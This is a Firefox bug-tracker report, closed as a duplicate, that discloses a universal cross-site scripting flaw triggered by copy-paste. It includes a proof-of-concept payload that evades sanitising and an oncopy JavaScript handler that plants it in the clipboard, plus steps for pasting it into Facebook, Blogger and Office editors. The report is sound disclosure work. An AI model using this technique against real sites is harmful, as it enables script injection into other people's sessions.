1648136 - Universal XSSin Firefox via Copy-Paste

Status: RESOLVED DUPLICATE of bug 1646140

(Firefox :: Untriaged, defect)

Description

[Arsiadi Sriyanto]

Attachment: XSS_FACEBOOK.mp4

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36

Steps to reproduce:

I found another XSS via copy-paste or maybe a bypass for bug https://bugzilla.mozilla.org/show_bug.cgi?id=1602843

Final payload: <svg><style><svg onload="javascript:alert(document.domain)">

---

I create live POC here https://sites.google.com/ultrasonic.page/test, the code:

document.oncopy = event => {
event.preventDefault();
event.clipboardData.setData('text/html', '<svg><style><svg onload="javascript:alert(document.domain)">');
}

Copying content from there, and paste it on editor with <div contenteditable> will execute the XSS.

I can show that the XSS will be executed on some major website like Google, Facebook, Microsoft, some email providers and many more.

Step to reproduce:

1. Open Firefox or Firefox Nightly
2. Goto https://sites.google.com/ultrasonic.page/test
3. Copy the content
4. Goto https://facebook.com/
5. Press CTRL+V
6. Goto Blogger editor --> Paste on Editor
7. Goto some Office online apps --> Paste or press CTRL+V on editor

Please check attached video POC for more details.

Reproduced on:

• Latest Firefox and Firefox Nightly
• Windows 10

Actual results:

XSS will be executed on pasting or pressing CTRL+V

Comment 1

[Arsiadi Sriyanto]

Attachment: XSS_Microsoft_365.mp4

Comment 2

[Arsiadi Sriyanto]

Attachment: XSS_BLOGGER.mp4

Comment 4

[Arsiadi Sriyanto]

Hi,

Since it's duplicate, is it possible for me to get access to bug 1646140?

Thanks!